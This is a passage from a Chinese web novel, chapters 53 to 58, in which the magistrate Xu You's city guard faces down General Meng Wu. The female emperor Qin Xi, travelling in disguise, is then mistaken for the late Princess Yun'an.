许攸眯起眼,城卫军建立这么长时间,很少遇到敌手,墨麟军似乎有资格一战! “整军!” “赵龙你亲自统率,若是战败,你等就不用回来!” 冷漠话语炸响,许攸手中令旗飞到赵龙手里,他再也没回头,去看眼前的一切。 见他悠然背影,蒙武瞳孔紧缩,一股不祥的预感,在他心头萦绕。 也就在这个时候,那两条长龙,缓缓走出五支人马,紧跟着是那让人头皮发麻的战鼓声,轰然响起! 第五十三章 反贼在什么地方 墨麟军很强,这些年征战,练就了强大的心性和韧性。 蒙武不是墨麟军的统将,如今特殊情况,他要保护天子,不得不掌控墨麟军。 在他眼底,只要拥有墨麟军,哪怕对方是如来,他也敢斗一斗。 可现在他不认为,自己真的能和如来斗上一斗! 黑夜中,军阵调动繁杂,需要特殊令旗和战鼓,才能进行复杂军令调动。 可青尧县的城卫军,完全不存在这种困难,五支队伍整齐划一,脚步统一。 前军是重骑,左右两翼各有千人轻骑护佑,压阵是五百刀斧手和枪盾手。 最后掠阵的,居然是一千强弩手! 短短几十息,这五千人形成整齐队列。 重骑充当前锋,一千人的队伍,浑身铠甲狰狞,连战马都被战甲覆盖,手中长枪造型夸张,枪尖上散发出摄人寒意。 而两侧游骑装束则大大不同,银白色轻甲,腰侧有马刀,胯下两侧林列十几杆短矛,每个人身上武器都是一模一样。 轻弩、短矛、马刀,一切都是为了猎杀收割准备! 而那五百刀斧手和五百矛盾兵,则更让蒙武生出惧意! 那五百刀斧手,手中横刀长一米,背后两柄开山斧,身上只有软甲,倒是双臂被厚重铠甲包裹。 蒙武瞪大眼,若是他没看错,那横刀不是刀斧手常用的斩马刀,而是刽子手用的鬼头刀! “这是一群刽子手!” 伴随一声冷冽嘶吼,眼前阵型猛然变化。 “列阵!” 蒙武的思绪也被拉回,他的眼皮狂跳,那厚重塔盾,重重落在地上,盾与盾之间只有一个细细孔洞。 长矛刺过塔盾,狰狞的矛尖散折射出橘黄色火光,在蒙武眼眸中不停跳动。 墨麟军不但擅长马战,还擅长奇袭破阵等,但阵地战,还是对拥有重骑和两千游骑的阵列而言,墨麟军就仿佛一拳砸在棉花上。 蒙武以为这样就结束了,谁知道那道冰冷的声音,再次响起! “全军听令,是否准备就绪!” 唰唰唰! 重骑手中骑士枪斜挑,一杆杆巨大骑士枪,直指墨麟军。 那两千游骑胯下战马,马蹄踏动地面,每名游骑都握住了马刀。 “时刻准备着!!” “犯我大唐,虽远必诛!” 五千人爆喝声汇聚成了长龙,脚步雷动,声动九霄! 五千身经百战的墨麟军,以骁勇善战的存在,在如此庞大声势下,阵型第一次出现了溃散! 不在战阵中,永远感受不到,那死死锁定在自身的恐怖煞气! 这是一支以血铸成的钢铁雄狮,没有一个人是花架子,他们的手里,至少也沾过血! 比起墨麟军,这支钢铁雄狮,太强! 强到让人窒息! 蒙武呆呆的看着眼前的城卫军,没有番号,没有旗帜,喊得口号甚至是“犯我大唐,虽远必诛”! 眼前每个人,脸上没有任何表情,就仿佛是个木头,但那澎湃的战意,却是他此生从未见过! 恐怖!太恐怖了! 身为大唐的守护神,曾经镇压四方的顶级将领,手握十万兵权的大将军,蒙武怕了! “此军到底是如何训练,为何如此恐怖!” 这可不是五千人,而是五万,甚至十万,二十万! 一旦大军冲锋,天下间和人能此军抗衡的,几乎没有! 天地间,没有了声音,只有那沉闷的脚步声。恐怖的脚步声,形成了恐怖音浪,每一步都牵动人心! 负责压阵的城卫军,以及那三万五荆州士卒,此刻居然在看热闹! 手中兵刃随着脚步声,不断跺地。 轰隆!轰隆!轰隆! 一下,接着一下,又接着一下! 蒙武感觉有人攥住了自己心脏,厮杀还未开始,墨麟军的士气全部被冲散。 从许攸嚣张要武斗,到那个青年将军下令。 五千人马整齐出列,这种高效整齐的行军速度,以及统兵能力,蒙武只在一人身上开到过。 那人就是康王的父亲,大唐高祖亲口承认的异性兄弟,曾经的一字并肩王! 可即便康王的父亲,想要短时间训练出如此大军,也是不可能! 能训练大军,能统御大军,许攸手下的能忍,未免也太恐怖了! 蒙武的心沉了下去,在双方对垒后,他就退到了墨麟军的军阵中。 本以为靠着自己的大将军名头,外加墨麟军的强悍,他就能强压一头许攸。 可如今他发现,大错特错! 眼前五千城卫军,依旧一步步踏步而来,连重骑和游骑,都保持缓速,那样子是仿佛在撒布。 轻蔑! 蒙武心中的绝望和恐惧,逐渐消散,随之而来的是滔天火焰。 他蒙武纵横疆场多年,什么时候被如此羞辱? 哪怕是深陷重围,被五万胡族围捕,他也不曾皱眉! 但他现在不能死,更不能就如此不明不白的死,他要护住大唐江山,至少保护陛下离开! 是战,还是降? 蒙武咬着牙,左手握紧佩刀,跟随他多年的长刀,缓缓出鞘。 战,他们只有死路一条! 降,那等待他们的,也只有思路一条! 墨麟军更是大唐精锐,若是外族知道墨麟军团灭,到时候大唐危矣! 蒙武深吸一口气,强压下了心头的烦躁,缓缓抬起头,再次看向人群中的许攸。 如今他就最后一条路。 “许攸!” 蒙武的声音很低沉,声调中带着一丝颤音。 “你身为朝廷命官,但你看看如今所作所为!” “占山为王,训练私兵,打造兵甲,你这举动,和通敌叛国,有何区别?” 死寂! 行进的大军停下脚步,齐刷刷的枪尖,直指蒙武的咽喉。 蒙武咽了口吐沫,如今他这个时候,只能选择搏一搏。 许攸刚要开口,却见到一道人影走来。 看到来人,他脸上的寒霜消失,立刻化作狗腿模样,朝着来人小跑过去。 “曹叔,你怎么来了?” 来人不是别人,正是刚打算走的康王。 康王笑眯眯的走到他面前,将他手里的喇叭躲过去,淡漠的斜瞥一眼战阵中的蒙武,声调很是平淡。 “本王听说此地有反贼,特此带齐兵马。” “许攸,反贼在什么地方?” 此言一出,满场皆惊。 第五十四章 你不会想学曹操吧 蒙武气的浑身颤抖,手中佩刀刚拔出,又跌落到刀鞘中。 许攸也张大嘴,他的大眼睛眨巴眨巴,,很是不敢相信的看向康王。 “曹叔,你不会想学曹操吧?” 不怪他这么想,谁让康王姓曹。 曹老板的喜好,是个男人,都喜好! 康王依旧是那平淡的模样,听到许攸打趣,手中折扇并拢,重重砸在许攸的脑袋上。 “莫要胡闹,反贼在什么地方?” “本王很忙,没功夫处理杂事,若是没有反贼,本王就回去了!” 反贼? 蒙武深吸一口气,手中的马鞭,一滴滴鲜血不断从马鞭上滴下。 他不敢信,不敢去相信,当年和高祖打江山,誓死要守护大唐,他曾经的荣耀。那个人的后代,居然会成为如今的局面。 “反贼!谁是反贼!” 蒙武反复沉吟,又一咬牙,恶狠狠瞪大双眼。 “将在外,军令有所不受!” “康王,某奉命而来,你有何意见!你身为荆州知州,纵容手下官员,致使青尧县叛变,你罪无可赦!” 康王的脸上表情,就似乎都没变化过。 哪怕是听到如此赤裸威胁,他脸上的那抹淡笑,也未曾消失过。 “本王记得大唐律法,各地知州可根据州府情况,自行训练民兵,以抵御外敌。” “本王乃康王,此乃本王属地兵马多少,由本王决定。而青尧县地处天关附近,天关无守军,只能青尧县代替守卫。” “敢问这位将军,本王让青尧县镇守天关,许攸作为县令,多些民兵,有何不妥?” “要不将军你来守天关?” 康王语气轻缓,不疾不徐的语气,却如同重锤,狠狠砸在蒙武的心头。 荆州属于康王封地,按照大唐的律法,康王有权自治,而众所周知的是,康王从不过问朝事,也不过插手政事。 “无陛下谕旨,无兵部令箭,倒是你带兵进入荆州,围困青尧县,本王很困惑,你是如何伪造军令,调动我荆州大营的!” “荆州大营何在?” 一道平淡的声音响起,随后便是三万五千荆州士卒齐声呐喊。 “在!” “撤军,回防荆州!” 康王声音平淡,但充斥着不容置疑的威严。 三万五千人,来的快,走的也快。 宽大城墙前方,少了一支大军,留下的人都是青尧县的。 虽然少了三万五千人,但对蒙武而言,并没有太多的区别。 局面对他很不利,康王的话语,让他局面变得更加难看。 果然,许攸乘势追击,目光戏谑的盯着蒙武。 “将军,似乎你有点搞不清楚情况,这里是本老爷的地盘。” “在这里,本老爷就是天!” “本老爷做什么,说什么,何须你来指手画脚?” 此言一出,场中陷入死寂! 若是康王的话,给蒙武沉重一击,那么这番话,就是暴击! 无论是蒙武等人,还是曹云飞等人,都纷纷瞪大眼,唯有康王浑然不在意,似乎许攸的狂,他早就知晓! 蒙武气得哆嗦,他从未见过如此狂妄的狂徒! 不把朝堂放在眼底,到底是什么人,给许攸的勇气? “狂徒!尔敢!” 许攸轻蔑的一笑,完全不把蒙武的暴露给放在眼底。 “本老爷敢不敢,你还没体会到?” “现在你没得选,十息之内你若是不降,那就死!” 什么优柔寡断,什么心慈手软,那都和许攸没关系。 他刚来青尧,这里就是拳头大,才能活下去,五年时间,他早已习惯以刀兵来说话。 “十!” “九!” 倒数声缓缓响起,不高,但很致命! 每个人都能感受到,那窒息的冰冷,只要时间到,大唐的精锐,大唐的上将军,都要死! 许攸暗暗眯起眼,五千人,即便是翻倍,也不会太多,算上今天折损的功德,只要再来十万人,就能平了这份债。 “到时候还得上书,这次得让曹叔代替我,这次必须死,否则这样来几次,功德不够,到时候也是麻烦事情。” “不知道曹叔会不会愿意,反正青尧县已经稳定,后续发展继续下去,肯定会成为种子。” 他在思忖着如何送死,而蒙武却不敢大意。 正如康王所言,天关距离青尧县,只有三十里,出了天关就是塞外。 天关的守军不到三千,如今青尧县代替镇守,哪怕是驻扎了三十万兵,那也没人觉得奇怪,甚至觉得很正常。 不用朝廷开支,还能镇守西北,传到朝堂中,那些文臣估计要拍手叫好。 问题是这些大军来的突然,就仿佛是冒出来的,还有这些城卫军的实力,足以碾压墨麟军。 无论如何,这都是私屯兵马,意图谋逆! “许攸!你若是敢动我家小姐毫毛,十日之内,大唐精锐将倾巢而出,定要横扫青尧!” “届时,某敢担保,你青尧将鸡犬不留!” 可惜这番话在许攸耳中,还不如四万多党项残部突袭来的头疼。 “屁放完了没有?” “不降就死,本老爷虽然不想杀大唐的人,但是你送上来,本老爷的刀也不会软。” “赵龙,准备冲锋,三炷香内别搞得太血腥!” “你……” 蒙武大惊,一口黑血直接从口中喷出,那身体也猛地晃荡,险些从马背上掉下来。 “竖子,你可知道,某身后这是墨麟军!” 许攸当然知道,以赵龙那性格,要不是觉得眼前的人棘手,估计都开始撒蹄子冲锋了。 墨麟军是大唐精锐中精锐,战斗力不容小觑。青尧县确实兵多,可人少,死一个都是损失,许攸可不敢贸然让百姓去送死。 “你说是就是?” “本老爷说你们是突厥的细作,那你们是不是?” “不过你要是能拿出点证据,本老爷倒不是不可以饶你们一命。” 许攸的话锋突变,险些没逼的蒙武再次吐出一口血。 蒙武脸色煞白,身前大军已然押进,无形压力让他都感到窒息。 “传某军令,全军……后撤三十里扎营!” “许大人,某一个人,你可敢让某入城?” 许攸眯起眼,这选择让他有点意外。 “可!” 思忖再三,他打算借助蒙武的手,将人给放出来,至于这些功德,能不丢就不丢。 随着他下令,大军散开个缺口,可以让蒙武直接过来。 第五十五章 女帝被送去挖了煤 若是有选择,蒙武是不可能选贸然进城,但他现在没的选。 要么他以身赌命,要么就是大唐的底蕴,和他一起陪葬! 蒙武不敢赌! 他打马上前,刚到战阵前,还不等他开口,就听到战阵内,猛地传来一声怒吼! “下马!” “你!!” 蒙武抬起虎目,死死盯着眼前的赵龙。 他没搭理赵龙,而是打算继续骑着马去城门口。 扑哧! 一杆长枪猛地出现,枪尖刺透蒙武胯下战马的脖颈,银色枪杆在空中颤抖。 “给他戴上镣铐!” 蒙武没想到,赵龙会如此狂妄,和许攸如出一辙。镣铐加身后,他没抵抗,也知道抵抗没用! 一步步迈着步伐来到许攸面前,蒙武抬起头,阴郁的双眸瞪圆。 “我家小姐呢?” 许攸尴尬了,闹到现在,他突然忘记,自己小媳妇还被关在煤场。 “什么小姐?你家小姐是谁?” “许攸,你!” 蒙武咬紧牙关,要是视线能杀人,现在许攸都死了几万次。 他不打算继续开口,这么下去,就是自取其辱,只能被许攸羞辱。 许攸看到他不说话,暗暗给曹云飞打了个眼色。 “云飞,去问问他家小姐去了什么地方。” 曹云飞心领神会,小跑出去,没多久再次跑回来,额头鬓角还有一丝汗珠。 “许兄,他家小姐和账房,已经被送去煤场!其一行人涉嫌通敌,故此有此责罚!” 曹云飞的声音不大,但每个字都落到了蒙武的眼底。 煤场? 蒙武的瞳孔紧缩,一股冰冷的杀意,从他身体不断溢出。 天子居然被送去了煤场! 但他很快又松了口气,至少……人还在,还活着! 若是天子死了,他不知道应该如何面对! “许攸,我家小姐能证明一切,她身上有自证的证明!” “你现在就把她请出来!” 蒙武声调沉闷。 “若是她有事,我会杀了你!” “无论是谁,也挡不住我,我一定会杀了你!” 冰冷的威胁,在许攸看来,就是个笑话。 许攸侧过头上下打量,嘴角再次勾起笑。 “我等着你,希望你真的能弄死我!” “赵龙,你去亲自请!若是怠慢,你就滚去挖煤!” 作为许攸的亲卫,以及青尧县的统领,赵龙的地位举足轻重。 他亲自去放人,绝对是给面子。 当然,这全都是因为许攸不敢去,曹云飞更不敢,至于康王……早溜了。 蒙武见到赵龙憨憨的跑了,脑袋内神经都没转过来。 就在他发愣时候,一道怯生生的声音,从角落传来。 “蒙……武大!” 蒙武转头看去,猛地看到小公主,身体踉跄了下,险些没跪下。 “公……小小姐,您没事吧?” 蒙武心情激荡,但还是冲到了小公主身边。 小公主没动,先看了眼许攸,见许攸没动作,这才小步小步挪动,那可爱的小模样,都把许攸的心看化了。 他决定,今晚就给小丫头设计几套公主裙,他许某人的小姨子,怎么能穿的这么寒酸? 见到蒙武居然伸出手抹小公主的手,许攸眼睛内的视线,也逐渐变得冰寒。 “看看就得了,谁让你动手了?” 说完,他一把上前,将小公主给搂到身后。 这突如其来的一幕,蒙武眉头紧皱。 小公主并未抵挡,反而伸出手,将小手塞进了许攸的手里,两人站在一起,就仿佛是一家人的熟悉。 蒙武嘴角抽动,这一天到底发生了什么,而小公主又遭遇了什么,怎么会和许攸这个国贼如此亲昵? “月儿,是不是走累了?” 几人走在大街上,小公主年纪小,加上身体柔弱,走了没几步,就脸色绯红,连气息都变得粗重。 许攸牵着她,最先发现,便半蹲下身体,伸手拍拍他的后背。 “来,我背你!” 蒙武眼睛瞪圆,想要说不可,可话到嘴边,又只能咽了下去。 他现在是阶下囚,没有任何资格说话,至于眼前的小公主身份,他也不敢暴露。 很快一辆马车驶来,考虑到小公主的身体,许攸没敢让他的专属座驾过来接他。 马车速度很慢,沿途百姓看到马车,纷纷停下脚步打招呼,而许攸也很热情。 车内的蒙武瞪圆眼睛,今日的景象和往日没区别,那些百姓就似乎没察觉任何的异常。 而往来的外族,也没任何的不同,该做生意的做生意,该吃喝玩乐的,依旧在吃喝玩乐。 蒙武觉得很不可思议,城外就在大战,白天一场,晚上一场。 大军围城的时候,必然百姓流离失所,无家可归的日子。 可青尧县似乎就没这种情况。 城中百姓没影响,城外百姓虽然有影响,但也只是田地和住所,人脸上没有半点的恐惧。 这里到底是什么地方? 蒙武看不透,茫然的回头,看向正逗着小公主的青年。 “许攸,你到底有什么妖法!” “为何百姓不怕战争,不怕外敌,甚至他们脸上充满了期待!” 许攸闻言,停下手里的动作、 “为什么怕?” 车外的百姓每个人脸上,都写满了激动和开心,没有一个人会害怕。 “打仗就代表有俘虏,有俘虏就代表有利益分配,对于普通百姓而言,田地房屋损毁,就有官府兜底。” “而那些参战的百姓,他们有军工,有荣誉!对商人而言,兵甲、武器、战马、辎重都需要处理,这都是钱!” “他们信本老爷,因为他们知道,我们从不会失败!” 至于墨麟军,许攸压根没放在眼底。 这么多年,青尧县县城建立,也只有蛮族和胡族联军打到过城墙下。 大多和党项残部差不多,距离青尧县还有十多里就被发现,随后战斗在外面打开。 蒙武心中汗然,他发现他可能真不是个合格将军,他不敢说自己百战百胜。 马车抵达办事厅,几道人影也早已在原地等待。 “你们叙叙旧,等下想好怎么和我解释。” “小丫头身体不好,我就带走了!” 许攸眯起眼,他打算从小姨子迂回出手,等会要是秦曦问起来,他就把锅推给曹云飞。 “我真天才!” 第五十六章 表明身份 秦曦脸上灰蒙蒙的,发丝散乱,鬓角发丝贴着额头,形象要多狼狈就有多狼狈。 倒是李牧好点,不过那儒雅从容的姿态也消失不见,有的只是不停弯腰捶背,双手也全是血泡。 至于那几个玄影的护卫,此刻一个个面容黝黑,浑身上下都是尘土,看上去仿佛是从泥地里刚挖出来的。 “蒙将军!” 看到蒙武出现,还有他身上的镣铐,秦曦眸子微抬,脑袋陷入死机。 “你为何会出现在这里?” “康王呢?” 蒙武看到秦曦的模样,魂都吓得飞了出去,饶是他早已想到,秦曦等人情况会不好,可却没想过如此。 此刻他内心之中,充满了惶恐和不安。 “陛下,臣……无能!” 秦曦从失神中回过神,听到蒙武的话,她深吸一口气,将内心的怒意和杀意,全部压了回去。 “怎么回事?” “康王为何没和你一起出现,还有你怎么会如此!墨麟军现在,可还好?” 三个问题,代表了她心中所有疑惑。 蒙武不知道如何回答,也想不到怎么回答。 奇袭青尧失败,墨麟军被困,他被俘虏,一切的一切,都是他的狂妄和自大。 若是早些知道康王有谋反之心,还有许攸的大胆,或许就不会这样! 无奈之下的蒙武,把事情从头到尾全部道出,包括他借兵,以及康王出面,到最后许攸威胁他投降。 每一字,每一句,都仿佛一根根针,将蒙武的心给刺穿。 秦曦粉拳攥紧,三万多人不战而退,五千墨麟军被困,从始至终青尧县的城卫军,甚至没动几次。 若是旁人说出这话,她可能不相信,但这话是从蒙武口中说出。 “陛下,如今之计只有您亮明真身,招康王勤王,召集四方大军回援,才能脱离危险。” “臣万死,愿以身代替陛下,留在此地!” 不大的房间内,陷入了死寂。 “暴露身份……” 秦曦低头呢喃。 她的身份暴露出去,必然会引起轩然大波。 以许攸的性格,很有可能扣下她。 到了那时候,大唐必然会陷入风雨飘摇! 挟天子令天下! 如此时刻,李牧却没半点的激动和紧张,而是伸出手,冲着秦曦拱拱手。 “陛下,不可!” “且听我一言,许攸并非是想谋反之人!” 秦曦的眸子陷入冰冷,那冷冰冰的视线,划过李牧的脸,最后落在蒙武身上。 她并未因为这话而动怒,只是抬起手,朝着李牧摆摆手。 片刻,几人走出了房间,来到许攸县办事厅后面的宅子中。 许攸正坐在躺椅上,至于小公主,在旁边扒拉着饭菜,吃的满脸都是油脂。 秦曦睥睨了一眼,整个人的气势变得锋锐,那是一种上位者的气场。 身为帝王,掌握天下生杀大权,哪怕是沦为阶下囚,依旧充满傲气和锐气! 秦曦缓步上前,青丝随风而动,一双杏眸内藏星辰大海。 许攸也抬起头,两人四目相对,他不由暗暗心惊。 刚刚他套了半天话,死活没套出小丫头的来历,不过隐约猜到,对方是来自宫中。 如果他没猜错,眼前这位,十有八九就是死了丈夫的云安公主! 这下可坏事了! 许攸心思急转。 要是普通商人,他还能糊弄过去,但眼前的可是云安公主,这就不好糊弄。 就在他思忖如何解决这件事,秦曦已经迈开脚步,一步步朝着他走来。 秦曦的脚步不算快,每一步都很轻盈,她的体态很端庄,犹如贵妇一般。 “许攸!” 淡漠的声音响起,没有半点温度,却充斥着不容置疑的威严。 许攸闻言也放弃思考,缓缓直起身,饶有兴趣的和秦曦对视。 秦曦目光划过,又落到了桌上,正在桌边吃着美食的小公主。 一抹淡淡的不喜,浮现在她心头。 “你既然已经知晓我等身份,为何还要如此?” 她的嘴角上扬,勾起一抹讥诮。 “难不成你觉得,靠着你就能堵住天下悠悠之口?” 许攸愕然,眼前的云安公主,绝对是他生平所见中,最难对付的女人。 他以为自己掩饰的很好,可惜还是露出了破绽。 仔细打量两眼,在看到秦曦眼眸深处的厌恶以及不满后,他笑了。 如此突兀的笑容,让秦曦眼底的厌恶更加浓郁。 “你笑什么?” 哪怕是在喜欢的人面前,许攸也不愿意放低身段。 这是身为男人的尊严! “秦掌柜是妙人,既然如此,我们后院说话,你等不如先去洗漱一番如何?” “放心,这里是我的府邸,没有我的命令,任何人都进不来!” 言外之意,那就是秦曦等人别想跑。 秦曦表情平淡,没有拒绝许攸的好意。 等许攸起身离开后,四名侍女将秦曦等人的行囊,以及侍女全部带过来。 秦曦也没避讳,拿上自己的包裹行囊,一手搀住跑来的小公主,身姿傲然往客房走去。 差不多盏茶时间,她再次出现,一身鹅黄色长裙,不施粉黛,却有着倾国倾城的美。 当她进入到后院,正在喝茶的许攸,直接看呆,傻愣愣的盯着秦曦看了十几息,这才反应过来。 如果说素裙装扮的秦曦,有一种男子的英气和飒爽,那么现在她就是妲己! 冰冷双眸斜挑,红唇微微勾起,肤白如凝脂,杏眸中水光流转,神韵内藏其中,一瞥一笑都充满勾人的妩媚。 她只是静静的站着,就让人感觉到恐惧,恐惧将这份美给打破。 可远观,而不可亵渎! 相比秦曦的美,李牧一身儒士长袍,脸上依旧是那温和的笑。 再看蒙武的装扮,则是武将打扮,腰间佩刀,左手胳膊暴露在空气中,胳膊上伤疤纵横,手指则是死死捏住刀把。 看到几人的装扮,许攸心中最后的奢望成为泡影! “许攸,现在你可认出我是谁了?” 秦曦冰冷的话语溢出,嘴角一直勾着若影若现的讥诮。 任凭许攸再怎么淡定,如今她亮明身份,对方也应该知道分寸。 那股戏谑和轻蔑,不断从她眼眸内溢出。 “难不成以你许大人的聪明,还猜不到我的身份?” 第五十七章 下官拜见公主殿下 李牧下意识看向许攸,却看到了一张很坦然的脸。 那张脸上没有震惊,没有害怕,就是很稀疏平常的表情,就似乎刚刚秦曦说的话,在对着空气说。 难不成许攸真不知道自己等人身份? 可许攸却从椅子上站起,一步步慢悠悠朝着几人走来。 就在李牧猜想许攸是不是因为恐惧,然后昏了头的时候,就听到耳畔传来一道恭敬的问候。 “青尧县县令许攸,见过云安公主!” “什么?” 云安公主? 李牧眼睛瞪圆,那洁白胡须随着他呼吸,不断的飘动。 此刻他心里只有一句话。 “你小子逗老夫呢?” 秦曦表情凝固,身体也僵在原地。 她那魅惑众生,不可匹敌的气势,瞬间烟消云散,只剩下不敢置信的茫然和疑惑。 “云……云安公主?” 秦曦的嘴角抽动,她想要说话,却惊讶发现,自己说不出来半个字。 云安公主是她秦姐姐,和小公主一样。 天下间,只知道云安,平康以及安阳公主是三姐妹,一母所出。却很少有人知道,云安和平康两位公主,容貌有七分相似。 三年前老皇帝驾崩,长安内乱,太子率领东宫三率联合党项等部落,打算起兵谋反。 就在这场浩劫中,云安公主为了掩护两个妹妹,身中数箭。 那是秦曦第一次杀人,杀的是自己亲哥哥。 云安公主死讯,天下只有寥寥几人得知。 再一次听到云安公主四个字,秦曦愣在原地,呆呆的看着许攸。 “放肆!你居然敢侮辱……” 蒙武听到许攸居然把天子当做是个死人,勃然大怒,一手按住刀把,另外一手伸出,几乎要拽住许攸的衣领。 就在这时,一道冰冷的声音响起。 “住手!” 秦曦回过神,脸上的震惊和错愕消失,转而是一种很古怪的表情,想笑又不愿意笑的那种。 她第一次认真打量眼前的许攸,忽然发现,明明站在她面前,却有些看不透。 这时真傻,还是装傻? 虽说云安公主身份尊贵,但也不至于调动五千墨麟军护佑。 秦曦心头思绪万千,有对姐姐的不舍,还有疑惑。 她本打算直接亮明身份,然后以雷霆手段,将许攸给拿下,再以此来威震全城。 可现在许攸的反应,给了她更多的机会! 秦曦不打算暴露自己的身份。 “姐姐,你应该会原谅小妹吧?” 秦曦眼底的冷冽消失,转而身上贵气愈发浓郁,端的就是深闺贵妇的姿态! “许县令,免礼!” 一双玉手虚抬,随后又跟着丢出话语。 “许县令,本宫倒是好奇,你如何认出本宫的身份?” 有了秦曦的话,蒙武虽然不甘心,但还是将手缩回,一双铜铃般大眼睛,再次盯上许攸。 从始至终他们都没暴露,也不存在暴露的情况,然而许攸就仿佛会未卜先知,居然能猜到他们的行踪。 就连李牧,此刻也开始好奇。 他好奇许攸是在装,还是真的不知道,错把女帝当云安公主。 面对三人的目光,许攸内心那叫个无奈。 “我咋知道你们会出城,赵龙那货表面正常,一说起打仗,脑子就被十八头驴给踩了,根本不存在!” “得亏你们是大唐人,但凡不是的,现在就得和阎王爷说去。” 内心如此想,他面上倒是和平常无异。 “回禀公主殿下,下官并非认出来,而是猜的!” 秦曦脸上的表情,更是古怪。 猜能猜到云安公主身上,她倒是好奇,眼前的许攸到底猜了什么。 许攸也没卖关子,就把先前的误会,以及自己心中猜想全部道出。 “这位老先生文质彬彬,浑身正气于儒气,就犹如黑夜中的星星,那么璀璨!” “下官虽没读多少书,也知道文人傲骨,老先生有满腹经纶,定然是大家出身,不可能是普通账房。” 秦曦看向李牧,对这番说辞,倒是没做什么评价,反而很是认可的点点头。 李牧老脸上浮现出笑容,连忙拱手。 “不敢当,许县令的所作所为,才是让老夫大开眼界!” “不不,还是您老仙风道骨,文采斐然,让下关佩服!” 两人一番商业互吹,彼此间的好感都多了几分。 至于李牧的身份,许攸只推断出来是当官的,在朝中身份不低,具体什么官职,他也不清楚。 轮到蒙武,许攸的眉头上挑。 “能调动墨麟军,还能差使康王,我若是没猜错,眼前的这位将军,恐怕就是哪位上将军蒙武,蒙大将军了吧?” “墨麟军震慑天下,而能让康王折服的,据下官所知,只有三人!” 说到这里,许攸顿了顿。 “康王是异姓王,但对朝廷忠心耿耿,三年前曾亲自带兵入京勤王,自此后闭门不出,再也不问政事,更是感慨上天无德!” “他和先皇乃兄弟,而先皇子嗣除了天子外,也只有云安公主,以及安阳公主能让他上心。” 其实许攸可不是从康王口中得出,眼前的丽人,就是那位传说中的云安公主,而是从小公主口中推论出来的。 康王什么性格,他最为清楚。 三年前入京后,罕见的满门白绫,却不曾披麻,也不曾戴孝,许攸曾问过为何,康王只是说少了个懂他的人。 再看小公主那大家闺秀做派,以及懵懂的模样,他就推测肯定是自己上书,被那狗皇帝看到了。 可惜朝廷局势不明,狗皇帝也只能在长安城四周乱窜,根本不敢来漠北斩他。 至于死在云安公主的手里,许攸可不愿意。 “下官思来想去,能让小公主如此听话,还能差使两位朝廷重臣,更能引得墨麟军护卫的,也只有那位!” “传闻云安公主在先皇故去后,便回到祖陵,如此孝心感天动地,实在是我等楷模。” “下官拜见公主殿下!” 许攸再次躬身一拜,言语中没有丝毫不敬,让人挑不出半点毛病。 秦曦嘴角疯狂抽动,她有一种无力感,还有深深的荒谬。 眼前的许攸分析了半天,最后十分笃定的说,她就是故去的云安公主。 这话,她怎么接? “你就没想过,本宫就是那位?” 第五十八章 不小心扯了底裤 院中一片死寂,李牧也好奇的瞪大眼。 按照许攸的分析,天子反而比云安公主更有可能,所以为什么不会是天子呢? 许攸无奈叹息,这问题傻子都会。 “公主殿下,您觉得有可能吗?” 秦曦的兴趣被勾起,她发现许攸有点有意思。 “坐下说,本宫对你很有兴趣。” 许攸听到这话,脚下一滑,一个没站稳,居然直接滑坐了下去。 看到秦曦等人古怪的目光,他连忙讪笑着解释。 “脚滑!都是脚滑!” 此刻他脸上的笑意,就是小公主都能看出来。 秦曦反倒是没觉得有什么,在侍女伺候下,直接坐到了许攸面前,两人之间也只有半米的距离。 “许县令莫要客气!” 许攸心里那叫个激动! 别看他天天和胭脂她们亲热无比,实际上他还是原装货,到现在连姑娘的肚兜都没掀开过。 乍一听秦曦亲密的话语,他差点激动地直接跪下求婚。 好在他克制住了,要不然现在秦曦,肯定会拔出蒙武的佩刀,把他狗头剁下。 收拾了下情绪,许攸这才无奈道出事实。 “殿下,咱们陛下乃是千古来第一位女皇帝,下官早就听闻,陛下爱民如子,勤政好学。” “如今大唐百废待兴,陛下每日需要处理多少事务?每旬各州道府县的奏疏,就得用牛车拉,天下十六道,三十九州府,奏疏每日都得上千!” “青尧县距离长安三千里,就是骑马到这里,就得半月时间。陛下怎么可能放弃长安的事务,来我们这里闲逛?” 这话说的秦曦心中怨气,瞬间烟消云散。 这天下还是有懂她的! 李牧老脸抽动,适才他就发现,许攸在溜须拍马的功夫,比朝堂那些官员要强百倍。 然而,许攸接下来的话,让秦曦和李牧的表情,再次凝固。 “更何况,比起青尧县,陛下可还有更重要的事情要处理!” 许攸的脑袋扬起,一副尽在掌控的表情。 “若是下关没猜错,陛下正在为大唐的国运前程而担忧!” “隐太子勾结漠北党项、突厥,而陛下正在谋划……西征!” 轰隆! 秦曦脸上的表情凝固,一双凤眸瞪圆,眼底尽是震惊和警惕! 李牧此刻也瞪大眼,他的手僵在半空,脸上的笑容僵住,昏黄的眼眸瞪大,瞳孔不停紧缩。 西征突厥的计划,自秦曦登基时刻就有,当年的盟约,虽然蒙武将西北十八部击退,可最大的敌手不是这十八部落,而是东西突厥! 隐太子夺嫡失败后,西逃深入草原之中,加入了**厥。 恐怖的杀意自秦曦身上缓缓凝聚,那双凤眸死死盯着许攸。 西征突厥这件事,除了她和李牧知晓外,哪怕是蒙武都不知道! 李牧是何人? 那是三朝元老,自大唐建国,就辅佐大唐,如今年过七十,还在帮助她处理超纲,执掌朝廷事务。 整个朝廷都有可能背叛大唐,唯独李牧不会。 可如今距离长安城三千里的青尧县,一个小小的县令,居然猜到了她的谋划! 许攸老神在在,浑然没觉得,这话到底有多震惊。 他有这判断,其实很简单,那就是他的眼线已经扩展到了**厥内。 如今的**厥,可是前世他那种发展节奏,现在**厥的势力范围,都扩展到了波斯附近。 至于西突厥更夸张,包括高句丽在内,都被西突厥掌控。 “许县令,你是如何得知的?” 秦曦的脸色很难看,满脸青色。 如果是有人走漏,那就代表她的身边,被人渗透! 如果不是这些,那就证明许攸的能力太恐怖,居然连她要西征的计划都知道。 她必须搞清楚,消息从什么地方暴露,到底如何暴露! 伴随秦曦起身,蒙武也意识到事情严重性。 此计策,不是许攸随口而言,而是真的! 泄露军国机密,和谋反没什么区别! 许攸不怕这些。 他想死,但阎王爷可亲口说了,他必须死在皇帝的手里。 原来也不是只能死女帝手里,之前老皇帝在世,他可以选择死老皇帝手里。 只要对方下旨,最好是被亲手弄死!可造化弄人,现在刚弄死一大批党项残部,功德还不知道够不够。 这个时候,他可不想出什么乱子。 “殿下,你误会了!” “这些都是我推测而出!” 秦曦的表情更冷,如此军国大事,连蒙武都不知道,怎么可能会被许攸知晓? “你是如何猜的?” “你可知道此事泄露,到底会有什么后果?” 